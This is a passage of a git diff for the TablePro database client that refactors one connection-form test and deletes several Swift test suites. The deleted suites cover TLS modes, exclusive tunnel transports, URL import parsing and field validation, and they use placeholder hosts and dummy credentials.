ConnectionFormEditsTests { func keepsAnUndrawableIconThroughLoadAndSave() { var original = populatedConnection() original.iconName = "made.up.symbol" - let customization = CustomizationPaneViewModel() + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) - customization.load(from: original) - let result = edits(iconName: customization.iconName).applied(to: original) + let draft = ConnectionDraft.loaded(from: original, secrets: .none, traits: mysql) + let result = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: original) - #expect(customization.iconName == "made.up.symbol") + #expect(draft.appearance.iconName == "made.up.symbol") #expect(result.iconName == "made.up.symbol") } @@ -294,16 +295,16 @@ struct ConnectionFormEditsTests { func environmentRoundTrips() { var stored = populatedConnection() stored.additionalFields[ConnectionEnvironment.fieldKey] = "production" - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.customization.load(from: stored) - #expect(coordinator.customization.environment == .production) + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + var draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + #expect(draft.environment == .production) - coordinator.customization.environment = .staging - let saved = coordinator.buildEdits().applied(to: stored) + draft.setEnvironment(.staging) + let saved = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: stored) #expect(saved.additionalFields[ConnectionEnvironment.fieldKey] == "staging") - coordinator.customization.environment = .none - let cleared = coordinator.buildEdits().applied(to: saved) + draft.setEnvironment(.none) + let cleared = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: saved) #expect(cleared.additionalFields[ConnectionEnvironment.fieldKey] == nil) } diff --git a/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift b/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift deleted file mode 100644 index a1fbcb95d6..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift +++ /dev/null @@ -1,130 +0,0 @@ -// -// ConnectionFormPortTLSTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormPortTLSTests { - private func newConnection(_ type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialType: type) - coordinator.start() - return coordinator - } - - private func imported(_ url: String) throws -> ConnectionFormCoordinator { - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - throw ConnectionURLParseError.invalidURL - } - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - return coordinator - } - - @Test("Typing port 443 on a new Trino connection turns on Verify Identity, and typing past it turns it off") - func typedPortFollowsTheTLSPort() { - let coordinator = newConnection(.trino) - #expect(coordinator.ssl.mode == .disabled) - - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("4430") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("A mode the user picked is never changed by the port") - func chosenModeSurvivesThePort() { - let coordinator = newConnection(.trino) - coordinator.ssl.select(.required) - - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .required) - - coordinator.ssl.select(.disabled) - coordinator.network.setPort("4430") - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("A Trino connection on port 443 with Verify Identity saves without a CA certificate") - func verifyIdentityNeedsNoCAForTrino() { - let coordinator = newConnection(.trino) - coordinator.network.setPort("443") - - #expect(coordinator.ssl.caCertPath.isEmpty) - #expect(coordinator.ssl.validationIssues.isEmpty) - } - - @Test("Verify CA on Trino still asks for a CA certificate, since it checks no hostname") - func verifyCANeedsACAForTrino() { - let coordinator = newConnection(.trino) - coordinator.ssl.select(.verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } - - @Test("Importing trino://host:443 opens the form on Verify Identity, and editing the port away reverts it") - func importedTLSPortIsImplied() throws { - let coordinator = try imported("trino://analyst@trino.example.com:443/hive") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("8080") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("Importing trino://host:443 with SSL=false keeps SSL off through later port edits") - func importedSSLFalseIsAChoice() throws { - let coordinator = try imported("trino://trino.example.com:443/hive?SSL=false") - #expect(coordinator.ssl.mode == .disabled) - - coordinator.network.setPort("4430") - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("An imported JDBC URL with SSLVerification=CA opens on Verify CA, asks for the CA file, and keeps it through port edits") - func importedVerificationIsAChoice() throws { - let coordinator = try imported("jdbc:trino://analyst@trino.example.com:8443/hive?SSL=true&SSLVerification=CA") - #expect(coordinator.ssl.mode == .verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - - coordinator.network.setPort("443") - coordinator.network.setPort("8080") - #expect(coordinator.ssl.mode == .verifyCa) - } - - @Test("Typing port 8443 on a new ClickHouse connection turns on Verify Identity") - func clickHouseTLSPort() { - let coordinator = newConnection(.clickhouse) - coordinator.network.setPort("8443") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("8123") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("SQL Server verify modes save, since the form has no CA field for them") - func mssqlVerifyModesSave() { - let coordinator = newConnection(.mssql) - coordinator.ssl.select(.verifyIdentity) - #expect(coordinator.ssl.validationIssues.isEmpty) - - coordinator.ssl.select(.verifyCa) - #expect(coordinator.ssl.validationIssues.isEmpty) - } - - @Test("PostgreSQL Verify Identity saves without a CA certificate, and Verify CA still asks for one") - func postgresNeedsACAOnlyForVerifyCA() { - let coordinator = newConnection(.postgresql) - coordinator.ssl.select(.verifyIdentity) - #expect(coordinator.ssl.validationIssues.isEmpty) - - coordinator.ssl.select(.verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift b/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift deleted file mode 100644 index e21c04544f..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift +++ /dev/null @@ -1,465 +0,0 @@ -// -// ConnectionFormTransportTests.swift -// TableProTests -// -// A connection reaches its database through exactly one transport. Two enabled at once made -// `DatabaseConnection.activeTunnelKind` answer nil, and `activeTunnelManager` then opened a -// direct connection to the database host while the form reported both as on. -// - -import Foundation -import TableProPluginKit -import TableProSSHConfig -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormTransportTests { - private func coordinator(type: DatabaseType = .mysql) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - private func enabledFlags(_ coordinator: ConnectionFormCoordinator) -> [ConnectionTunnelKind] { - var kinds: [ConnectionTunnelKind] = [] - if coordinator.ssh.state.enabled { kinds.append(.ssh) } - if coordinator.cloudflareTunnel.state.enabled { kinds.append(.cloudflare) } - if coordinator.cloudSQLProxy.state.enabled { kinds.append(.cloudSQLProxy) } - if coordinator.socksProxy.state.enabled { kinds.append(.socksProxy) } - if coordinator.tunnelCommand.state.enabled { kinds.append(.tunnelCommand) } - return kinds - } - - @Test("a new connection is direct") - func defaultsToDirect() { - let coordinator = coordinator() - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("selecting a transport enables exactly that one") - func selectionIsExclusive() { - for kind in ConnectionTunnelKind.formToggleable { - let coordinator = coordinator() - coordinator.transport = kind - #expect(enabledFlags(coordinator) == [kind], "\(kind) did not enable alone") - #expect(coordinator.transport == kind, "\(kind) did not round-trip") - } - } - - @Test("switching transport disables the previous one") - func switchingDisablesPrevious() { - for first in ConnectionTunnelKind.formToggleable { - for second in ConnectionTunnelKind.formToggleable where second != first { - let coordinator = coordinator() - coordinator.transport = first - coordinator.transport = second - #expect(enabledFlags(coordinator) == [second], "\(first) survived a switch to \(second)") - } - } - } - - @Test("selecting direct disables every transport") - func directDisablesEverything() { - let coordinator = coordinator() - coordinator.transport = .socksProxy - coordinator.transport = nil - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("switching away keeps the transport's configuration for switching back") - func switchingPreservesConfiguration() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - coordinator.ssh.state.username = "deploy" - - coordinator.transport = .socksProxy - #expect(coordinator.ssh.state.host == "bastion.example.com") - - coordinator.transport = .ssh - #expect(coordinator.ssh.state.host == "bastion.example.com") - #expect(coordinator.ssh.state.username == "deploy") - } - - @Test("a connection stored with two transports normalizes to one") - func normalizeCollapsesLegacyMultiTransport() { - let coordinator = coordinator() - coordinator.ssh.state.enabled = true - coordinator.socksProxy.state.enabled = true - coordinator.tunnelCommand.state.enabled = true - - coordinator.normalizeTransport() - - #expect(enabledFlags(coordinator) == [.ssh]) - #expect(coordinator.transport == .ssh) - } - - @Test("a transport the type no longer offers falls back to direct") - func normalizeDropsUnavailableTransport() { - let coordinator = coordinator() - coordinator.transport = .cloudflare - coordinator.network.type = .sqlite - - coordinator.normalizeTransport() - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("direct is always offered, exactly once, and never duplicated") - func availableTransportsAreWellFormed() { - for type in DatabaseType.allKnownTypes { - let coordinator = coordinator(type: type) - let available = coordinator.availableTransports - #expect(available.first == .some(nil), "\(type.rawValue) does not offer direct first") - #expect(Set(available).count == available.count, "\(type.rawValue) offers a duplicate transport") - } - } - - @Test("a file-based type offers the remote file transport rather than a port forward") - func fileBasedTypeUsesRemoteFile() { - let coordinator = coordinator(type: .sqlite) - #expect(coordinator.availableTransports.contains(.remoteFile)) - #expect(!coordinator.availableTransports.contains(.ssh)) - - coordinator.transport = .remoteFile - #expect(coordinator.ssh.state.enabled) - #expect(coordinator.transport == .remoteFile) - } - - @Test("leaving the SSH server clears the remote file path it was carrying") - func leavingSSHClearsRemoteFilePath() { - let coordinator = coordinator(type: .sqlite) - coordinator.transport = .remoteFile - coordinator.ssh.state.remoteFilePath = "/var/db/app.sqlite" - - coordinator.transport = nil - - #expect(coordinator.ssh.state.remoteFilePath.isEmpty) - } - - @Test("selecting a transport clears a passing test result") - func selectionInvalidatesTestResult() { - let coordinator = coordinator() - coordinator.testResult = ConnectionTestResult(succeeded: true) - coordinator.transport = .ssh - #expect(!coordinator.testSucceeded) - } - - @Test("the SSH server is offered as one transport, never as both of its flavours") - func sshAndRemoteFileAreNeverOfferedTogether() { - for type in DatabaseType.allKnownTypes { - let available = coordinator(type: type).availableTransports - #expect( - !(available.contains(.ssh) && available.contains(.remoteFile)), - "\(type.rawValue) offers both SSH flavours, so the picker cannot round-trip" - ) - } - } - - @Test("Weaviate offers the SSH tunnel and every other transport that forwards a port") - func weaviateOffersPortForwards() { - let available = coordinator(type: .weaviate).availableTransports - #expect(available == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) - } - - /// The built-in entry of a registry type is what the form reads until its plugin is installed, - /// and BigQuery or DuckDB offered Cloudflare Tunnel from it with nothing to forward to. - @Test("a type with no port forward and no remote file connects directly only") - func typeWithoutPortForwardIsDirectOnly() { - let manager = PluginManager.shared - for type in DatabaseType.allKnownTypes - where !manager.supportsSSH(for: type) && !manager.supportsRemoteDatabaseFile(for: type) { - #expect( - coordinator(type: type).availableTransports == [nil], - "\(type.rawValue) offers a transport it has no port to forward through" - ) - } - } - - private func duckdb(mode: String) -> ConnectionFormCoordinator { - let coordinator = coordinator(type: .duckdb) - coordinator.auth.additionalFieldValues["duckdbMode"] = mode - coordinator.auth.additionalFieldValues["duckdbHost"] = "quack.internal" - return coordinator - } - - @Test("DuckDB in Local File offers no transport and no Network tab") - func duckdbLocalHasNoNetworkTab() { - let coordinator = duckdb(mode: "local") - - #expect(coordinator.availableTransports == [nil]) - #expect(!coordinator.supportsSSL) - #expect(!coordinator.visibleTabs.contains(.network)) - } - - @Test("DuckDB in Remote offers the SSH tunnel and every other transport that forwards a port, and no SSL section") - func duckdbRemoteOffersPortForwards() { - let coordinator = duckdb(mode: "remote") - - #expect(coordinator.availableTransports == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) - #expect(coordinator.visibleTabs.contains(.network)) - #expect(!coordinator.showsSSL) - } - - @Test("switching DuckDB to Local File drops the transport it had in Remote") - func duckdbLocalDropsTheRemoteTransport() { - let coordinator = duckdb(mode: "remote") - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.auth.additionalFieldValues["duckdbMode"] = "local" - coordinator.normalizeTransport() - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept for switching back") - } - - @Test("a quack+ssh URL opens DuckDB in Remote on the SSH tunnel, with the SSL Mode it names") - func quackSSHURLOpensRemoteOverSSH() throws { - let url = "quack+ssh://deploy@bastion.example.com/quack.internal:9500/remotedb?sslmode=require" - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - Issue.record("\(url) should parse") - return - } - - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - - #expect(coordinator.transport == .ssh, "start() must not drop a tunnel the Remote fields can use") - #expect(coordinator.ssh.state.host == "bastion.example.com") - let fields = coordinator.allAdditionalFieldValues - #expect(fields["duckdbMode"] == "remote") - #expect(fields["duckdbHost"] == "quack.internal") - #expect(fields["duckdbPort"] == "9500") - #expect(fields["duckdbSSLMode"] == "required") - } - - @Test("a DuckDB Remote tunnel command forwards to the server the General tab names") - func duckdbTunnelCommandPreviewNamesTheServer() { - let coordinator = duckdb(mode: "remote") - coordinator.auth.additionalFieldValues["duckdbPort"] = "9500" - - let endpoint = coordinator.buildEdits().applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint - - #expect(endpoint.host == "quack.internal") - #expect(endpoint.port == 9_500) - } - - /// Only a driver that dials no host loses a transport to the server-field rule, so a network - /// type offers exactly what its capabilities say, whatever its fields hold. - @Test("a type that dials its host offers a port forward wherever it supports SSH") - func networkTypesKeepTheirTransports() { - let manager = PluginManager.shared - for type in DatabaseType.allKnownTypes - where manager.connectionMode(for: type) == .network && !manager.supportsRemoteDatabaseFile(for: type) { - let available = coordinator(type: type).availableTransports - #expect(available.contains(.ssh) == manager.supportsSSH(for: type), "\(type.rawValue)") - #expect(available.contains(.socksProxy) == manager.supportsSOCKSProxy(for: type), "\(type.rawValue)") - } - } - - @Test("changing the database type returns the connection to direct") - func typeChangeResetsTransport() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.network.setType(.sqlite) - - #expect(coordinator.transport == nil, "A transport means something else on another type") - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept") - } - - @Test("changing the type clears a remote file path the new type cannot open") - func typeChangeClearsRemoteFilePath() { - let coordinator = coordinator(type: .sqlite) - coordinator.transport = .remoteFile - coordinator.ssh.state.remoteFilePath = "/var/db/app.sqlite" - - coordinator.network.setType(.mysql) - - #expect(coordinator.ssh.state.remoteFilePath.isEmpty) - } - - @Test("leaving the port forward clears the socket path only it can reach") - func leavingSSHClearsForwardSocketPath() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.network.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" - - coordinator.transport = .socksProxy - - #expect(coordinator.network.sshForwardUnixSocketPath.isEmpty) - #expect(!coordinator.network.forwardsToUnixSocket) - } - - @Test("an enabled transport always has a tab that shows it") - func anEnabledTransportIsAlwaysReachable() { - for type in DatabaseType.allKnownTypes { - let coordinator = coordinator(type: type) - for kind in coordinator.availableTransports.compactMap({ $0 }) { - coordinator.transport = kind - #expect( - coordinator.visibleTabs.contains(.network), - "\(type.rawValue) hides Network while \(kind.rawValue) is on, so its issues go uncounted" - ) - } - } - } - - /// A retyped connection has to clear the Keychain entries the old type put there, or a - /// SQL Server connection changed to MySQL leaves its Kerberos password stored under the same - /// connection id with nothing in the form able to see or clear it. - @Test("a retyped connection still owns the previous type's secure fields") - func retypeKeepsOwnershipOfTheOldTypesSecrets() { - let manager = PluginManager.shared - var typesWithSecrets: [DatabaseType] = [] - for type in DatabaseType.allKnownTypes - where manager.additionalConnectionFields(for: type).contains(where: \.isSecure) { - typesWithSecrets.append(type) - } - guard let secretive = typesWithSecrets.first else { - Issue.record("No known type declares a secure connection field") - return - } - - let originalIds = Set( - manager.additionalConnectionFields(for: secretive).filter(\.isSecure).map(\.id) - ) - let owned = ConnectionFormCoordinator.secureFieldsOwnedByForm( - currentType: .mysql, - originalType: secretive, - pluginManager: manager - ) - - #expect(originalIds.isSubset(of: Set(owned.map(\.id)))) - #expect(Set(owned.map(\.id)).count == owned.count, "A field shared by both types is listed once") - } - - @Test("a driver with no SSL section cannot be blocked by an SSL rule") - func sslIssuesAreSilentWhereThereIsNoSSLSection() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssl.select(.verifyCa) - coordinator.ssl.caCertPath = "" - - #expect(!coordinator.supportsSSL) - #expect(coordinator.ssl.validationIssues.isEmpty) - - let networked = self.coordinator() - networked.ssl.select(.verifyCa) - networked.ssl.caCertPath = "" - #expect(networked.supportsSSL) - #expect(!networked.ssl.validationIssues.isEmpty, "A driver that shows the field still requires it") - } - - @Test("a URL naming an SSH server opens the form on exactly that transport") - func urlImportSelectsOneTransport() throws { - let url = "mysql+ssh://deploy@bastion.example.com:22/dbuser@db.internal:3306/app" - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - Issue.record("\(url) should parse") - return - } - - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - - #expect(coordinator.transport == .ssh) - #expect(enabledFlags(coordinator) == [.ssh]) - #expect(coordinator.ssh.state.host == "bastion.example.com") - } - - @Test("choosing Socket clears the transport and leaves only Direct") - func socketClearsTheTransport() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.selectEndpoint(.localSocket) - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.availableTransports == [nil]) - #expect(coordinator.visibleTabs.contains(.network), "SSL Mode still applies over a socket") - #expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept") - } - - @Test("going back to Host and Port offers the transports again") - func hostAndPortRestoresTransports() { - let coordinator = coordinator() - let offered = coordinator.availableTransports - - coordinator.selectEndpoint(.localSocket) - coordinator.selectEndpoint(.hostAndPort) - - #expect(coordinator.availableTransports == offered) - #expect(offered.contains(.ssh)) - } - - @Test("choosing an endpoint clears a passing test result") - func endpointInvalidatesTestResult() { - let coordinator = coordinator() - coordinator.testResult = ConnectionTestResult(succeeded: true) - coordinator.selectEndpoint(.localSocket) - #expect(!coordinator.testSucceeded) - } - - @Test("a stored socket under an SSH tunnel loads as Host and Port and keeps the tunnel") - func storedSocketUnderSSHKeepsTheTunnel() { - var stored = DatabaseConnection(name: "Mixed", host: "db.internal", port: 3_306, type: .mysql) - stored.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" - stored.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) - - let coordinator = coordinator() - coordinator.network.load(from: stored) - coordinator.ssh.state.enabled = true - coordinator.normalizeTransport() - - #expect(coordinator.network.endpoint == .hostAndPort) - #expect(coordinator.transport == .ssh) - #expect(coordinator.buildEdits().additionalFields[MySQLLocalSocket.fieldKey] == nil) - } - - @Test("a socket connection saves its path and no transport") - func socketEditsCarryThePath() { - let coordinator = coordinator() - coordinator.network.name = "Local" - coordinator.selectEndpoint(.localSocket) - coordinator.network.localSocketPath = "/tmp/mysql.sock" - - let edits = coordinator.buildEdits() - - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - #expect(edits.ownedAdditionalFieldIDs.contains(MySQLLocalSocket.fieldKey)) - #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") - #expect(coordinator.isFormValid) - } - - @Test("an empty socket blocks Save from the General tab") - func emptySocketIsClaimedByGeneral() { - let coordinator = coordinator() - coordinator.network.name = "Local" - coordinator.selectEndpoint(.localSocket) - - #expect(!coordinator.isFormValid) - #expect(coordinator.firstTabWithIssue == .general) - } - - @Test("every issue that blocks Save is claimed by a visible tab") - func everyBlockingIssueHasATabToFix() { - let coordinator = coordinator() - coordinator.transport = .socksProxy - coordinator.socksProxy.state.host = "" - - #expect(!coordinator.isFormValid) - let claimed = coordinator.visibleTabs.flatMap { $0.validationIssues(for: coordinator) } - #expect(claimed == coordinator.validationIssues) - #expect(coordinator.firstTabWithIssue != nil) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift b/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift deleted file mode 100644 index 20fbea7f9e..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormURLImportTests.swift +++ /dev/null @@ -1,120 +0,0 @@ -// -// ConnectionFormURLImportTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormURLImportTests { - private func formImporting(_ url: String) throws -> ConnectionFormCoordinator { - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - throw ConnectionURLParseError.invalidURL - } - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - return coordinator - } - - @Test("Secrets a MongoDB connection string carries reach Keychain-backed fields, never plain options") - func mongoURISecretsStayOutOfPlainOptions() throws { - let coordinator = try formImporting( - "mongodb://app:s3cret@db.example.com:27017/orders?tls=true" - + "&tlsCertificateKeyFile=%2FUsers%2Falice%2Fclient.pem&tlsCertificateKeyFilePassword=hunter2" - + "&authMechanism=MONGODB-AWS&authMechanismProperties=AWS_SESSION_TOKEN%3AFQoGZXIvYXdz" - + "&proxyPassword=proxy-secret&retryWrites=true" - ) - let plain = coordinator.allAdditionalFieldValues.filter { $0.key != "mongoAWSSessionToken" } - - #expect(coordinator.ssl.clientCertPath == "/Users/alice/client.pem") - #expect(coordinator.ssl.clientKeyPassphrase == "hunter2") - #expect(coordinator.ssl.clientKeyPath == "/Users/alice/client.pem") - #expect(coordinator.auth.additionalFieldValues["mongoAWSSessionToken"] == "FQoGZXIvYXdz") - #expect(coordinator.secureFieldsOwnedByForm().contains { $0.id == "mongoAWSSessionToken" }) - #expect(!plain.values.contains("hunter2")) - #expect(!plain.values.contains { $0.contains("FQoGZXIvYXdz") }) - #expect(!plain.values.contains("proxy-secret")) - #expect(plain["mongoParam_retryWrites"] == "true") - } - - @Test("sslmode=verify-full opens the form on Verify Identity") - func verifyFullKeepsIdentityVerification() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=verify-full") - #expect(coordinator.ssl.mode == .verifyIdentity) - } - - @Test("sslmode=verify-ca opens the form on Verify CA") - func verifyCaKeepsCertificateVerification() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=verify-ca") - #expect(coordinator.ssl.mode == .verifyCa) - } - - @Test("sslmode=disable opens the form on Disabled") - func disableTurnsTLSOff() throws { - let coordinator = try formImporting("postgresql://u@db.example.com/app?sslmode=disable") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test( - "ssl=1 and ssl=require turn TLS on as ssl=true does", - arguments: [ - "postgresql://u@db.example.com/app", - "mysql://root@db.example.com/app", - "redis://cache.example.com" - ], - ["1", "require"] - ) - func sslFlagSpellingsTurnTLSOn(_ base: String, _ value: String) throws { - let spelled = try formImporting("\(base)?ssl=\(value)") - let canonical = try formImporting("\(base)?ssl=true") - #expect(spelled.ssl.mode == canonical.ssl.mode) - #expect(spelled.ssl.mode == .required) - } - - @Test("A bracketed IPv6 host reaches the form bare, as a driver dials it") - func ipv6HostReachesTheFormBare() throws { - let coordinator = try formImporting("postgres://alice@[2001:db8::5]:6000/sales") - #expect(coordinator.network.host == "2001:db8::5") - #expect(coordinator.network.port == "6000") - } - - @Test("A libSQL URL with an IPv6 host rebuilds a database URL that keeps its brackets") - func libSQLIPv6KeepsBrackets() throws { - let coordinator = try formImporting("libsql://[::1]:8443") - #expect(coordinator.allAdditionalFieldValues["databaseUrl"] == "https://[::1]:8443") - } - - @Test("Host, credentials and database from the URL reach the form") - func connectionFieldsReachTheForm() throws { - let coordinator = try formImporting("postgres://alice:p%40ss@db.example.com:6000/sales") - #expect(coordinator.network.type == .postgresql) - #expect(coordinator.network.host == "db.example.com") - #expect(coordinator.network.port == "6000") - #expect(coordinator.network.database == "sales") - #expect(coordinator.auth.username == "alice") - #expect(coordinator.auth.password == "p@ss") - } - - @Test( - "A socket URL opens the form on Socket with its path", - arguments: [ - "mysql://root@localhost/local?socket=%2Ftmp%2Fmysql.sock", - "mariadb://root@/local?unix_socket=/tmp/mysql.sock" - ] - ) - func socketURLSelectsSocket(_ url: String) throws { - let coordinator = try formImporting(url) - #expect(coordinator.network.endpoint == .localSocket) - #expect(coordinator.network.localSocketPath == "/tmp/mysql.sock") - #expect(coordinator.transport == nil) - #expect(coordinator.advanced.additionalFieldValues[MySQLLocalSocket.fieldKey] == nil) - - let edits = coordinator.buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - #expect(edits.applied(to: DatabaseConnection(name: "")).localSocketPath == "/tmp/mysql.sock") - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift b/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift deleted file mode 100644 index e05e800687..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionPresentationTests.swift +++ /dev/null @@ -1,132 +0,0 @@ -import Testing -import TableProPluginKit -@testable import TablePro - -struct ConnectionPresentationTests { - private func field( - _ id: String, - section: FieldSection, - required: Bool = false, - defaultValue: String? = nil, - type: ConnectionField.FieldType = .text, - hidesPassword: Bool = false, - visibleWhen: FieldVisibilityRule? = nil - ) -> ConnectionField { - ConnectionField( - id: id, - label: id, - required: required, - defaultValue: defaultValue, - fieldType: type, - section: section, - hidesPassword: hidesPassword, - visibleWhen: visibleWhen - ) - } - - @Test func visibleFieldsFilterBySectionAndVisibility() { - let fields = [ - field("host", section: .connection), - field("mode", section: .connection, defaultValue: "a", type: .dropdown(options: [ - .init(value: "a", label: "A"), .init(value: "b", label: "B"), - ])), - field("sentinel", section: .connection, visibleWhen: .init(fieldId: "mode", values: ["b"])), - field("extra", section: .advanced), - ] - let hidden = ConnectionPresentation(fields: fields, values: ["mode": "a"]) - #expect(hidden.visibleFields(in: .connection).map(\.id) == ["host", "mode"]) - #expect(hidden.visibleFields(in: .advanced).map(\.id) == ["extra"]) - - let shown = ConnectionPresentation(fields: fields, values: ["mode": "b"]) - #expect(shown.visibleFields(in: .connection).map(\.id) == ["host", "mode", "sentinel"]) - } - - @Test func crossSectionVisibleWhenResolvesAgainstMergedValues() { - // The controller lives in .connection, the controlled secret in .authentication: the sharded - // per-pane dictionaries could not see across sections, this engine takes one flat dict. - let fields = [ - field("mode", section: .connection, defaultValue: "standalone", type: .dropdown(options: [ - .init(value: "standalone", label: "Standalone"), .init(value: "sentinel", label: "Sentinel"), - ])), - field("sentinelPassword", section: .authentication, type: .secure, - visibleWhen: .init(fieldId: "mode", values: ["sentinel"])), - ] - #expect(!ConnectionPresentation(fields: fields, values: ["mode": "standalone"]) - .isVisible(fields[1])) - #expect(ConnectionPresentation(fields: fields, values: ["mode": "sentinel"]) - .isVisible(fields[1])) - } - - @Test func hidesPasswordFromDropdownToggleAndControllerChain() { - let dropdown = field("authMethod", section: .authentication, defaultValue: "password", - type: .dropdown(options: [ - .init(value: "password", label: "Password"), - .init(value: "sso", label: "SSO"), - ]), hidesPassword: true) - // Dropdown at its default does not hide; off-default hides. - #expect(!ConnectionPresentation(fields: [dropdown], values: ["authMethod": "password"]).hidesPassword) - #expect(ConnectionPresentation(fields: [dropdown], values: ["authMethod": "sso"]).hidesPassword) - - let toggle = field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true) - #expect(ConnectionPresentation(fields: [toggle], values: ["usePgpass": "true"]).hidesPassword) - #expect(!ConnectionPresentation(fields: [toggle], values: [:]).hidesPassword) - - // The snapshot flag hides regardless of fields. - #expect(ConnectionPresentation(fields: [], values: [:], hidesBuiltInPassword: true).hidesPassword) - } - - @Test func requiredAndRangeValidation() { - let fields = [ - field("token", section: .authentication, required: true, type: .secure), - field("database", section: .connection, required: true, defaultValue: "postgres"), - field("poolSize", section: .advanced, type: .stepper(range: .init(1...10))), - ] - let empty = ConnectionPresentation(fields: fields, values: ["poolSize": "99"]) - // token required + empty -> an issue; database has a default so no issue. - #expect(empty.validationIssues(in: .authentication) == ["token is required"]) - #expect(empty.validationIssues(in: .connection).isEmpty) - #expect(empty.validationIssues(in: .advanced) == ["poolSize must be between 1 and 10"]) - - // A linked credential profile supplies the field at connect: excluding it drops the issue. - #expect(empty.validationIssues(in: .authentication, excludingRequired: ["token"]).isEmpty) - - let filled = ConnectionPresentation(fields: fields, values: ["token": "abc", "poolSize": "5"]) - #expect(filled.validationIssues(in: .authentication).isEmpty) - #expect(filled.validationIssues(in: .advanced).isEmpty) - } - - @Test func requiredHiddenFieldDoesNotBlock() { - let fields = [ - field("mode", section: .connection, defaultValue: "a", type: .dropdown(options: [ - .init(value: "a", label: "A"), .init(value: "b", label: "B"), - ])), - field("onlyForB", section: .connection, required: true, - visibleWhen: .init(fieldId: "mode", values: ["b"])), - ] - #expect(ConnectionPresentation(fields: fields, values: ["mode": "a"]).validationIssues(in: .connection).isEmpty) - #expect(ConnectionPresentation(fields: fields, values: ["mode": 